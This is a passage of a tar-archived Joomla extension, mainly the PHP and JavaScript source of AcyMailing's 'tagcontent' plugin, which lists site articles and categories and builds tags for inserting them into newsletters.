					<option value="jaggyblog">JaggyBlog</option>
				</field>
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="default_type" type="radio" default="intro" label="DISPLAY" description="FIELD_DEFAULT">
					<option value="title">TITLE_ONLY</option>
					<option value="intro">INTRO_ONLY</option>
					<option value="text">FIELD_TEXT</option>
					<option value="full">FULL_TEXT</option>
				</field>
				<field name="wordwrap" type="text" size="10" default="0" label="Intro Word Wrapping" description="If you insert only the introduction and you didn't insert the read more link, AcyMailing will only load the first XX characters of your content. If you specify 0, AcyMailing won't wrap your content" />
				<field name="default_titlelink" type="radio" default="link" label="CLICKABLE_TITLE" description="FIELD_DEFAULT">
					<option value="link">JOOMEXT_YES</option>
					<option value="0">JOOMEXT_NO</option>
				</field>
				<field name="default_author" type="radio" default="" label="AUTHOR_NAME" description="FIELD_DEFAULT">
					<option value="author">JOOMEXT_YES</option>
					<option value="">JOOMEXT_NO</option>
				</field>
				<field name="default_pict" type="radio" default="1" label="DISPLAY_PICTURES" description="FIELD_DEFAULT">
					<option value="1">JOOMEXT_YES</option>
					<option value="resized">RESIZED</option>
					<option value="0">JOOMEXT_NO</option>
				</field>
				<field name="maxwidth" type="text" size="10" default="150" label="Max picture width" description="FIELD_DEFAULT" />
				<field name="maxheight" type="text" size="10" default="150" label="Max picture height" description="FIELD_DEFAULT" />
			</fieldset>
		</fields>
	</config>
</install>

com_acymailing/extensions/plg_acymailing_tagcontent/tagcontent.php000060400000211076152455305300022007 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php defined('_JEXEC') or die('Restricted access'); ?>
<?php

class plgAcymailingTagcontent extends JPlugin{
	public function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagcontent');
			$this->params = new acyParameter($plugin->params);
		}
		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
		$tables = acymailing_getTableList();
		$this->newMulticats = in_array(acymailing_getPrefix().'content_multicats', $tables);
	}

	public function acymailing_getPluginType(){
		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;

		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('JOOMLA_CONTENT');
		$onePlugin->function = 'acymailingtagcontent_show';
		$onePlugin->help = 'plugin-tagcontent';

		return $onePlugin;
	}

	public function acymailingtagcontent_show(){

		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();
		
		acymailing_loadLanguageFile('com_content', JPATH_SITE);

		$paramBase = ACYMAILING_COMPONENT.'.tagcontent';
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.id', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$pageInfo->filter_cat = acymailing_getUserVar($paramBase.".filter_cat", 'filter_cat', '', 'int');
		$pageInfo->contenttype = acymailing_getUserVar($paramBase.".contenttype", 'contenttype', $this->params->get('default_type', 'intro'), 'string');
		$pageInfo->author = acymailing_getUserVar($paramBase.".author", 'author', $this->params->get('default_author', '0'), 'string');
		$pageInfo->titlelink = acymailing_getUserVar($paramBase.".titlelink", 'titlelink', $this->params->get('default_titlelink', 'link'), 'string');
		$pageInfo->lang = acymailing_getUserVar($paramBase.".lang", 'lang', '', 'string');
		$pageInfo->pict = acymailing_getUserVar($paramBase.".pict", 'pict', $this->params->get('default_pict', 1), 'string');
		$pageInfo->pictheight = acymailing_getUserVar($paramBase.".pictheight", 'pictheight', $this->params->get('maxheight', 150), 'string');
		$pageInfo->pictwidth = acymailing_getUserVar($paramBase.".pictwidth", 'pictwidth', $this->params->get('maxwidth', 150), 'string');


		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$picts = array();
		$picts[] = acymailing_selectOption("1", acymailing_translation('JOOMEXT_YES'));
		$pictureHelper = acymailing_get('helper.acypict');
		if($pictureHelper->available()) $picts[] = acymailing_selectOption("resized", acymailing_translation('RESIZED'));
		$picts[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		$contenttype = array();
		$contenttype[] = acymailing_selectOption("title", acymailing_translation('TITLE_ONLY'));
		$contenttype[] = acymailing_selectOption("intro", acymailing_translation('INTRO_ONLY'));
		$contenttype[] = acymailing_selectOption("text", acymailing_translation('FIELD_TEXT'));
		$contenttype[] = acymailing_selectOption("full", acymailing_translation('FULL_TEXT'));

		$titlelink = array();
		$titlelink[] = acymailing_selectOption("link", acymailing_translation('JOOMEXT_YES'));
		$titlelink[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		$authorname = array();
		$authorname[] = acymailing_selectOption("author", acymailing_translation('JOOMEXT_YES'));
		$authorname[] = acymailing_selectOption("0", acymailing_translation('JOOMEXT_NO'));

		$searchFields = array('a.id', 'a.title', 'a.alias', 'a.created_by', 'b.name', 'b.username');
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $searchFields)." LIKE $searchVal";
		}

		if(!empty($pageInfo->filter_cat)){
			$filters[] = "a.catid = ".$pageInfo->filter_cat;
		}

		if($this->params->get('displayart', 'all') == 'onlypub'){
			$filters[] = "a.state = 1";
		}else{
			$filters[] = "a.state != -2";
		}

		if(!acymailing_isAdmin()){
			$my = JFactory::getUser();

			if(!ACYMAILING_J16){
				$filters[] = 'a.`access` <= '.(int)$my->get('aid');
			}else{
				$groups = implode(',', $my->getAuthorisedViewLevels());
				$filters[] = 'a.`access` IN ('.$groups.')';
			}
		}

		if($this->params->get('frontendaccess') == 'author' && !acymailing_isAdmin()){
			$filters[] = "a.created_by = ".intval(acymailing_currentUserId());
		}

		$whereQuery = '';
		if(!empty($filters)){
			$whereQuery = ' WHERE ('.implode(') AND (', $filters).')';
		}

		$query = 'SELECT SQL_CALC_FOUND_ROWS a.*,b.name,b.username,a.created_by FROM '.acymailing_table('content', false).' as a';
		$query .= ' LEFT JOIN `#__users` AS b ON b.id = a.created_by';
		if(!empty($whereQuery)) $query .= $whereQuery;
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}

		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);

		if(!empty($pageInfo->search)){
			$rows = acymailing_search($pageInfo->search, $rows);
		}

		$pageInfo->elements->total = acymailing_loadResult('SELECT FOUND_ROWS()');
		$pageInfo->elements->page = count($rows);

		if(!ACYMAILING_J16){
			$query = 'SELECT a.id, a.id as catid, a.title as category, b.title as section, b.id as secid from #__categories as a ';
			$query .= 'INNER JOIN #__sections as b on a.section = b.id ORDER BY b.ordering,a.ordering';

			$categories = acymailing_loadObjectList($query, 'id');
			$categoriesValues = array();
			$categoriesValues[] = acymailing_selectOption('', acymailing_translation('ACY_ALL'));
			$currentSec = '';
			foreach($categories as $catid => $oneCategorie){
				if($currentSec != $oneCategorie->section){
					if(!empty($currentSec)) $this->values[] = acymailing_selectOption('</OPTGROUP>');
					$categoriesValues[] = acymailing_selectOption('<OPTGROUP>', $oneCategorie->section);
					$currentSec = $oneCategorie->section;
				}
				$categoriesValues[] = acymailing_selectOption($catid, $oneCategorie->category);
			}
		}else{
			$query = "SELECT * from #__categories WHERE `extension` = 'com_content' ORDER BY lft ASC";

			$categories = acymailing_loadObjectList($query, 'id');
			$categoriesValues = array();
			$categoriesValues[] = acymailing_selectOption('', acymailing_translation('ACY_ALL'));
			foreach($categories as $catid => $oneCategorie){
				$categories[$catid]->title = str_repeat('- - ', $categories[$catid]->level).$categories[$catid]->title;
				$categoriesValues[] = acymailing_selectOption($catid, $categories[$catid]->title);
			}
		}

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$tabs = acymailing_get('helper.acytabs');
		echo $tabs->startPane('joomlacontent_tab');
		echo $tabs->startPanel(acymailing_translation('JOOMLA_CONTENT'), 'joomlacontent_content');

		?>
		<script language="javascript" type="text/javascript">
			<!--
			var selectedContents = new Array();
			function applyContent(contentid, rowClass){
				var tmp = selectedContents.indexOf(contentid)
				if(tmp != -1){
					window.document.getElementById('content' + contentid).className = rowClass;
					delete selectedContents[tmp];
				}else{
					window.document.getElementById('content' + contentid).className = 'selectedrow';
					selectedContents.push(contentid);
				}
				updateTag();
			}

			function updateTag(){
				var tag = '';
				var otherinfo = '';
				for(var i = 0; i < document.adminForm.contenttype.length; i++){
					if(document.adminForm.contenttype[i].checked){
						selectedtype = document.adminForm.contenttype[i].value;
						otherinfo += '| type:' + document.adminForm.contenttype[i].value;
					}
				}

				if(document.adminForm.customfields){
					if(document.adminForm.customfields.length == undefined){
						if(document.adminForm.customfields.checked) otherinfo += "| custom:" + document.adminForm.customfields.value;
					}else{
						tmp = 0;
						for(i = 0; i < document.adminForm.customfields.length; i++){
							if(!document.adminForm.customfields[i].checked) continue;
							if(tmp == 0){
								tmp += 1;
								otherinfo += "| custom:" + document.adminForm.customfields[i].value;
							}else{
								otherinfo += "," + document.adminForm.customfields[i].value;
							}
						}
					}
				}

				for(var i = 0; i < document.adminForm.titlelink.length; i++){
					if(document.adminForm.titlelink[i].checked && document.adminForm.titlelink[i].value.length > 1){
						otherinfo += '| ' + document.adminForm.titlelink[i].value;
					}
				}

				var already = 0;
				if(document.adminForm.socialshare){
					for(var i = 0; i < document.adminForm.socialshare.length; i++){
						if(document.adminForm.socialshare[i].checked){
							if(already == 0){
								otherinfo += '| share:' + document.adminForm.socialshare[i].value;
								already++;
							}else{
								otherinfo += ',' + document.adminForm.socialshare[i].value;
							}
						}
					}
				}

				if(selectedtype != 'title'){
					for(var i = 0; i < document.adminForm.author.length; i++){
						if(document.adminForm.author[i].checked && document.adminForm.author[i].value.length > 1){
							otherinfo += '| ' + document.adminForm.author[i].value;
						}
					}
					for(var i = 0; i < document.adminForm.pict.length; i++){
						if(document.adminForm.pict[i].checked){
							otherinfo += '| pict:' + document.adminForm.pict[i].value;
							if(document.adminForm.pict[i].value == 'resized'){
								document.getElementById('pictsize').style.display = '';
								if(document.adminForm.pictwidth.value) otherinfo += '| maxwidth:' + document.adminForm.pictwidth.value;
								if(document.adminForm.pictheight.value) otherinfo += '| maxheight:' + document.adminForm.pictheight.value;
							}else{
								document.getElementById('pictsize').style.display = 'none';
							}
						}
					}
					document.getElementById('format').style.display = '';
				}else{
					document.getElementById('format').style.display = 'none';
				}

				if(document.adminForm.contentformat && document.adminForm.contentformat.value){
					otherinfo += '| format:' + document.adminForm.contentformat.value;
				}

				if(window.document.getElementById('jflang') && window.document.getElementById('jflang').value != ''){
					otherinfo += '|lang:';
					otherinfo += window.document.getElementById('jflang').value;
				}

				for(var i in selectedContents){
					if(selectedContents[i] && !isNaN(i)){
						tag = tag + '{joomlacontent:' + selectedContents[i] + otherinfo + '}<br />';
					}
				}
				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td>
						<?php echo acymailing_translation('DISPLAY'); ?>
					</td>
					<td colspan="2">
						<?php echo acymailing_radio($contenttype, 'contenttype', 'size="1" onclick="updateTag();"', 'value', 'text', $pageInfo->contenttype); ?>
					</td>
					<td>
						<?php $jflanguages = acymailing_get('type.jflanguages');
						$jflanguages->onclick = 'onchange="updateTag();"';
						echo $jflanguages->display('lang', $pageInfo->lang); ?>
					</td>
				</tr>
				<tr id="format" class="acyplugformat">
					<td valign="top">
						<?php echo acymailing_translation('FORMAT'); ?>
					</td>
					<td valign="top">
						<?php echo $this->acypluginsHelper->getFormatOption('tagcontent'); ?>
					</td>
					<td valign="top"><?php echo acymailing_translation('DISPLAY_PICTURES'); ?></td>
					<td valign="top"><?php echo acymailing_radio($picts, 'pict', 'size="1" onclick="updateTag();"', 'value', 'text', $pageInfo->pict); ?>
						<span id="pictsize" <?php if($pageInfo->pict != 'resized') echo 'style="display:none;"'; ?>><br/><?php echo acymailing_translation('CAPTCHA_WIDTH') ?>
							<input name="pictwidth" type="text" onchange="updateTag();" value="<?php echo $pageInfo->pictwidth; ?>" style="width:30px;"/>
							x <?php echo acymailing_translation('CAPTCHA_HEIGHT') ?>
							<input name="pictheight" type="text" onchange="updateTag();" value="<?php echo $pageInfo->pictheight; ?>" style="width:30px;"/>
						</span>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('CLICKABLE_TITLE'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($titlelink, 'titlelink', 'size="1" onclick="updateTag();"', 'value', 'text', $pageInfo->titlelink); ?>
					</td>
					<td>
						<?php echo acymailing_translation('AUTHOR_NAME'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($authorname, 'author', 'size="1" onclick="updateTag();"', 'value', 'text', (string)$pageInfo->author); ?>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('SHARE'); ?>
					</td>
				<?php
				$socialMedias = array('facebook' => 'Facebook',
									'linkedin' => 'LinkedIn',
									'twitter' => 'Twitter',
									'google' => 'Google+');

				$cpt = 1;
				foreach($socialMedias as $key => $oneSocial){
					if($cpt == 4){
						$cpt = 1;
						echo '</tr><tr><td/>';
					}
					echo '<td><input value="'.$key.'" name="socialshare" id="'.$key.'" type="checkbox" onclick="updateTag();" /> ';
					echo '<label for="'.$key.'">'.$oneSocial.'</label></td>';
					$cpt++;
				}
				while($cpt != 4){
					$cpt++;
					echo '<td/>';
				}
				?>
				</tr>
			</table>
<?php
		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		if(version_compare($jversion, '3.7.0', '>=')){
			$query = 'SELECT id, title, group_id FROM #__fields WHERE context = "com_content.article" AND state = 1 ORDER BY title ASC';
			$customFields = acymailing_loadObjectList($query);

			if(!empty($customFields)){
				$query = 'SELECT id, title FROM #__fields_groups WHERE context = "com_content.article" AND state = 1 ORDER BY title ASC';
				$groups = acymailing_loadObjectList($query);
				$defaultGroup = new stdClass();
				$defaultGroup->id = 0;
				$defaultGroup->title = acymailing_translation('ACY_NO_GROUP');
				array_unshift($groups, $defaultGroup);

				echo '<div class="onelineblockoptions">
						<span class="acyblocktitle">'.acymailing_translation('EXTRA_FIELDS').'</span>
						<table class="acymailing_table" cellpadding="1">';
				foreach($groups as $oneGroup){
					echo '<tr><td style="font-weight: bold;">'.$oneGroup->title.'</td>';
					$i = 1;
					foreach($customFields as $oneCF){
						if($oneCF->group_id != $oneGroup->id) continue;
						if($i == 4){
							$i = 1;
							echo '</tr><tr><td/>';
						}
						echo '<td><input value="'.$oneCF->id.'" name="customfields" id="cf_'.$oneCF->id.'" type="checkbox" onclick="updateTag();"/>';
						echo '<label style="margin-left:5px" for="cf_'.$oneCF->id.'">'.$oneCF->title.'</label></td>';
						$i++;
					}
					while($i != 4){
						$i++;
						echo '<td/>';
					}
					echo '</tr>';
				}
				echo '</table></div>';
			}
		}
?>
		</div>
		<div class="onelineblockoptions">
			<table class="acymailing_table_options">
				<tr>
					<td width="100%">
						<?php acymailing_listingsearch($pageInfo->search); ?>
					</td>
					<td nowrap="nowrap">
						<?php echo acymailing_select($categoriesValues, 'filter_cat', 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int)$pageInfo->filter_cat); ?>
					</td>
				</tr>
			</table>

			<table class="acymailing_table" cellpadding="1" width="100%">
				<thead>
				<tr>
					<th class="title">
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('FIELD_TITLE'), 'a.title', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_AUTHOR'), 'b.name', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation(ACYMAILING_J16 ? 'COM_CONTENT_PUBLISHED_DATE' : 'START PUBLISHING'), 'a.publish_up', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_CREATED'), 'a.created', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title titleid">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.id', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
				</tr>
				</thead>
				<tfoot>
				<tr>
					<td colspan="6">
						<?php echo $pagination->getListFooter(); ?>
						<?php echo $pagination->getResultsCounter(); ?>
					</td>
				</tr>
				</tfoot>
				<tbody>
				<?php
				$k = 0;
				for($i = 0, $a = count($rows); $i < $a; $i++){
					$row =& $rows[$i];
					?>
					<tr id="content<?php echo $row->id ?>" class="<?php echo "row$k"; ?>" onclick="applyContent(<?php echo $row->id.",'row$k'" ?>);" style="cursor:pointer;">
						<td class="acytdcheckbox"></td>
						<td>
							<?php
							$text = '<b>'.acymailing_translation('JOOMEXT_ALIAS').': </b>'.$row->alias;
							echo acymailing_tooltip($text, $row->title, '', $row->title);
							?>
						</td>
						<td>
							<?php
							if(!empty($row->name)){
								$text = '<b>'.acymailing_translation('JOOMEXT_NAME').' : </b>'.$row->name;
								$text .= '<br /><b>'.acymailing_translation('ACY_USERNAME').' : </b>'.$row->username;
								$text .= '<br /><b>'.acymailing_translation('ACY_ID').' : </b>'.$row->created_by;
								echo acymailing_tooltip($text, $row->name, '', $row->name);
							}
							?>
						</td>
						<td align="center">
							<?php echo acymailing_date(strip_tags($row->publish_up), acymailing_translation('DATE_FORMAT_LC4')); ?>
						</td>
						<td align="center">
							<?php echo acymailing_date(strip_tags($row->created), acymailing_translation('DATE_FORMAT_LC4')); ?>
						</td>
						<td align="center">
							<?php echo $row->id; ?>
						</td>
					</tr>
					<?php
					$k = 1 - $k;
				}
				?>
				</tbody>
			</table>
		</div>
		<input type="hidden" name="boxchecked" value="0"/>
		<input type="hidden" name="filter_order" value="<?php echo $pageInfo->filter->order->value; ?>"/>
		<input type="hidden" name="filter_order_Dir" value="<?php echo $pageInfo->filter->order->dir; ?>"/>
		<?php
		echo $tabs->endPanel();
		echo $tabs->startPanel(acymailing_translation('TAG_CATEGORIES'), 'joomlacontent_auto');

		$type = acymailing_getVar('string', 'type');

		?>
		<script language="javascript" type="text/javascript">
			<!--
			window.onload = function(){
				if(window.document.getElementById('tagsauto')){
					window.document.getElementById('tagsauto').onchange = updateAutoTag;
				}
			}
			var selectedCategories = new Array();
			<?php if(!ACYMAILING_J16){ ?>
			function applyAutoContent(secid, catid, rowClass){
				if(selectedCategories[secid] && selectedCategories[secid][catid]){
					window.document.getElementById('content_sec' + secid + '_cat' + catid).className = rowClass;
					delete selectedCategories[secid][catid];
				}else{
					if(!selectedCategories[secid]) selectedCategories[secid] = new Array();
					if(secid == 0){
						for(var isec in selectedCategories){
							for(var icat in selectedCategories[isec]){
								if(selectedCategories[isec][icat] == 'content'){
									window.document.getElementById('content_sec' + isec + '_cat' + icat).className = 'row0';
									delete selectedCategories[isec][icat];
								}
							}
						}
					}else{
						if(selectedCategories[0] && selectedCategories[0][0]){
							window.document.getElementById('content_sec0_cat0').className = 'row0';
							delete selectedCategories[0][0];
						}

						if(catid == 0){
							for(var icat in selectedCategories[secid]){
								if(selectedCategories[secid][icat] == 'content'){
									window.document.getElementById('content_sec' + secid + '_cat' + icat).className = 'row0';
									delete selectedCategories[secid][icat];
								}
							}
						}else{
							if(selectedCategories[secid][0]){
								window.document.getElementById('content_sec' + secid + '_cat0').className = 'row0';
								delete selectedCategories[secid][0];
							}
						}
					}

					window.document.getElementById('content_sec' + secid + '_cat' + catid).className = 'selectedrow';
					selectedCategories[secid][catid] = 'content';
				}

				updateAutoTag();
			}
			<?php }else{ ?>
			function applyAutoContent(catid, rowClass){
				if(selectedCategories[catid]){
					window.document.getElementById('content_cat' + catid).className = rowClass;
					delete selectedCategories[catid];
				}else{
					window.document.getElementById('content_cat' + catid).className = 'selectedrow';
					selectedCategories[catid] = 'content';
				}

				updateAutoTag();
			}
			<?php } ?>

			function updateAutoTag(){
				tag = '{autocontent:';
				<?php if(!ACYMAILING_J16){ ?>
				for(var isec in selectedCategories){
					for(var icat in selectedCategories[isec]){
						if(selectedCategories[isec][icat] == 'content'){
							if(icat != 0){
								tag += 'cat' + icat + '-';
							}else{
								tag += 'sec' + isec + '-';
							}
						}
					}
				}
				<?php }else{ ?>
				for(var icat in selectedCategories){
					if(selectedCategories[icat] == 'content'){
						tag += icat + '-';
					}
				}
				<?php } ?>

				var already = 0;
				if(document.adminForm.autosocialshare){
					for(var i = 0; i < document.adminForm.autosocialshare.length; i++){
						if(document.adminForm.autosocialshare[i].checked){
							if(already == 0){
								tag += '| share:' + document.adminForm.autosocialshare[i].value;
								already++;
							}else{
								tag += ',' + document.adminForm.autosocialshare[i].value;
							}
						}
					}
				}

				if(document.adminForm.min_article && document.adminForm.min_article.value && document.adminForm.min_article.value != 0){
					tag += '| min:' + document.adminForm.min_article.value;
				}
				if(document.adminForm.max_article.value && document.adminForm.max_article.value != 0){
					tag += '| max:' + document.adminForm.max_article.value;
				}
				if(document.adminForm.contentorder.value){
					tag += "| order:" + document.adminForm.contentorder.value + "," + document.adminForm.contentorderdir.value;
				}
				if(document.adminForm.contentfilter && document.adminForm.contentfilter.value){
					tag += document.adminForm.contentfilter.value;
				}
				if(document.adminForm.meta_article && document.adminForm.meta_article.value){
					tag += '| meta:' + document.adminForm.meta_article.value;
				}

				for(var i = 0; i < document.adminForm.contenttypeauto.length; i++){
					if(document.adminForm.contenttypeauto[i].checked){
						selectedtype = document.adminForm.contenttypeauto[i].value;
						tag += '| type:' + document.adminForm.contenttypeauto[i].value;
					}
				}

				if(document.adminForm.customfieldsauto){
					if(document.adminForm.customfieldsauto.length == undefined){
						if(document.adminForm.customfieldsauto.checked) tag += "| custom:" + document.adminForm.customfieldsauto.value;
					}else{
						tmp = 0;
						for(i = 0; i < document.adminForm.customfieldsauto.length; i++){
							if(!document.adminForm.customfieldsauto[i].checked) continue;
							if(tmp == 0){
								tmp += 1;
								tag += "| custom:" + document.adminForm.customfieldsauto[i].value;
							}else{
								tag += "," + document.adminForm.customfieldsauto[i].value;
							}
						}
					}
				}

				for(var i = 0; i < document.adminForm.titlelinkauto.length; i++){
					if(document.adminForm.titlelinkauto[i].checked && document.adminForm.titlelinkauto[i].value.length > 1){
						tag += '|' + document.adminForm.titlelinkauto[i].value;
					}
				}
				if(selectedtype != 'title'){
					for(var i = 0; i < document.adminForm.authorauto.length; i++){
						if(document.adminForm.authorauto[i].checked && document.adminForm.authorauto[i].value.length > 1){
							tag += '|' + document.adminForm.authorauto[i].value;
						}
					}
					for(var i = 0; i < document.adminForm.pictauto.length; i++){
						if(document.adminForm.pictauto[i].checked){
							tag += '| pict:' + document.adminForm.pictauto[i].value;
							if(document.adminForm.pictauto[i].value == 'resized'){
								document.getElementById('pictsizeauto').style.display = '';
								if(document.adminForm.pictwidthauto.value) tag += '| maxwidth:' + document.adminForm.pictwidthauto.value;
								if(document.adminForm.pictheightauto.value) tag += '| maxheight:' + document.adminForm.pictheightauto.value;
							}else{
								document.getElementById('pictsizeauto').style.display = 'none';
							}
						}
					}
					document.getElementById('formatauto').style.display = '';
				}else{
					document.getElementById('formatauto').style.display = 'none';
				}

				if(document.getElementById('contentformatautoinvert').value == 1) tag += '| invert';
				if(document.adminForm.contentformatauto && document.adminForm.contentformatauto.value){
					tag += '| format:' + document.adminForm.contentformatauto.value;
				}

				if(document.adminForm.cols && document.adminForm.cols.value > 1){
					tag += '| cols:' + document.adminForm.cols.value;
				}
				if(window.document.getElementById('jflangauto') && window.document.getElementById('jflangauto').value != ''){
					tag += '| lang:' + window.document.getElementById('jflangauto').value;
				}
				if(window.document.getElementById('jlang') && window.document.getElementById('jlang').value != ''){
					tag += '| language:' + window.document.getElementById('jlang').value;
				}

				if(window.document.getElementById('tagsauto')){
					var tmp = 0;
					for(var i = 0; i < window.document.getElementById('tagsauto').length; i++){
						if(window.document.getElementById('tagsauto')[i].selected){
							if(tmp == 0){
								tag += '| tags:' + window.document.getElementById('tagsauto')[i].value;
								tmp = 1;
							}else{
								tag += ',' + window.document.getElementById('tagsauto')[i].value;
							}
						}
					}
				}

				tag += '}';

				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td>
						<?php echo acymailing_translation('DISPLAY'); ?>
					</td>
					<td colspan="2">
						<?php echo acymailing_radio($contenttype, 'contenttypeauto', 'size="1" onclick="updateAutoTag();"', 'value', 'text', $this->params->get('default_type', 'intro')); ?>
					</td>
					<td id="languagesauto">
						<?php $jflanguages = acymailing_get('type.jflanguages');
						$jflanguages->onclick = 'onchange="updateAutoTag();"';
						$jflanguages->id = 'jflangauto';
						echo $jflanguages->display('langauto');
						if(empty($jflanguages->found)){
							echo $jflanguages->displayJLanguages('jlangauto');
						}
						?>
					</td>
				</tr>
				<tr id="formatauto" class="acyplugformat">
					<td valign="top">
						<?php echo acymailing_translation('FORMAT'); ?>
					</td>
					<td valign="top">
						<?php echo $this->acypluginsHelper->getFormatOption('tagcontent', 'TOP_LEFT', false, 'updateAutoTag'); ?>
					</td>
					<td valign="top"><?php echo acymailing_translation('DISPLAY_PICTURES'); ?></td>
					<td valign="top"><?php echo acymailing_radio($picts, 'pictauto', 'size="1" onclick="updateAutoTag();"', 'value', 'text', $this->params->get('default_pict', '1')); ?>
						<span id="pictsizeauto" <?php if($this->params->get('default_pict', '1') != 'resized') echo 'style="display:none;"'; ?> ><br/><?php echo acymailing_translation('CAPTCHA_WIDTH') ?>
							<input name="pictwidthauto" type="text" onchange="updateAutoTag();" value="<?php echo $this->params->get('maxwidth', '150'); ?>" style="width:30px;"/>
							x <?php echo acymailing_translation('CAPTCHA_HEIGHT') ?>
							<input name="pictheightauto" type="text" onchange="updateAutoTag();" value="<?php echo $this->params->get('maxheight', '150'); ?>" style="width:30px;"/>
						</span>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('CLICKABLE_TITLE'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($titlelink, 'titlelinkauto', 'size="1" onclick="updateAutoTag();"', 'value', 'text', $this->params->get('default_titlelink', 'link')); ?>
					</td>
					<td>
						<?php echo acymailing_translation('AUTHOR_NAME'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($authorname, 'authorauto', 'size="1" onclick="updateAutoTag();"', 'value', 'text', (string)$this->params->get('default_author', '0')); ?>
					</td>
				</tr>
				<tr>
					<?php if(version_compare(JVERSION, '3.1.0', '>=')){ ?>
						<td valign="top">
							<?php echo acymailing_translation('TAGS'); ?>
						</td>
						<td>
							<?php
							$form = JForm::getInstance('acytagcontenttags', JPATH_SITE.DS.'components'.DS.'com_acymailing'.DS.'params'.DS.'tagcontenttags.xml');
							foreach($form->getFieldset('tagcontenttagfield') as $field){
								echo $field->input;
							}
							?>
						</td>
					<?php }else{ ?>
						<td colspan="2"></td>
					<?php } ?>
					<td valign="top"><?php echo acymailing_translation('FIELD_COLUMNS'); ?></td>
					<td valign="top">
						<select name="cols" style="width:150px" onchange="updateAutoTag();" size="1">
							<?php for($o = 1; $o < 11; $o++) echo '<option value="'.$o.'">'.$o.'</option>'; ?>
						</select>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('MAX_ARTICLE'); ?>
					</td>
					<td>
						<input type="text" name="max_article" style="width:50px" value="20" onchange="updateAutoTag();"/>
					</td>
					<td>
						<?php echo acymailing_translation('ACY_ORDER'); ?>
					</td>
					<td>
						<?php
						$values = array('id' => 'ACY_ID', 'ordering' => 'ACY_ORDERING', 'created' => 'CREATED_DATE', 'modified' => 'MODIFIED_DATE', 'title' => 'FIELD_TITLE', 'hits' => 'ACY_HITS');
						if(ACYMAILING_J16) $values['publish_up'] = 'COM_CONTENT_PUBLISHED_DATE';
						echo $this->acypluginsHelper->getOrderingField($values, 'id', 'DESC', 'updateAutoTag');
						?>
					</td>
				</tr>
				<?php if($this->params->get('metaselect')){ ?>
					<tr>
						<td>
							<?php echo acymailing_translation('META_KEYWORDS'); ?>
						</td>
						<td colspan="3">
							<input type="text" name="meta_article" style="width:200px" value="" onchange="updateAutoTag();"/>
						</td>
					</tr>
				<?php } ?>
				<?php if($type == 'autonews'){ ?>
					<tr>
						<td>
							<?php echo acymailing_translation('MIN_ARTICLE'); ?>
						</td>
						<td>
							<input type="text" name="min_article" style="width:50px" value="1" onchange="updateAutoTag();"/>
						</td>
						<td>
							<?php echo acymailing_translation('JOOMEXT_FILTER'); ?>
						</td>
						<td>
							<?php $filter = acymailing_get('type.contentfilter');
							$filter->onclick = "updateAutoTag();";
							echo $filter->display('contentfilter', '|filter:created'); ?>
						</td>
					</tr>
				<?php } ?>
				<tr>
					<td>
						<?php echo acymailing_translation('SHARE'); ?>
					</td>
					<?php
					$cpt = 1;
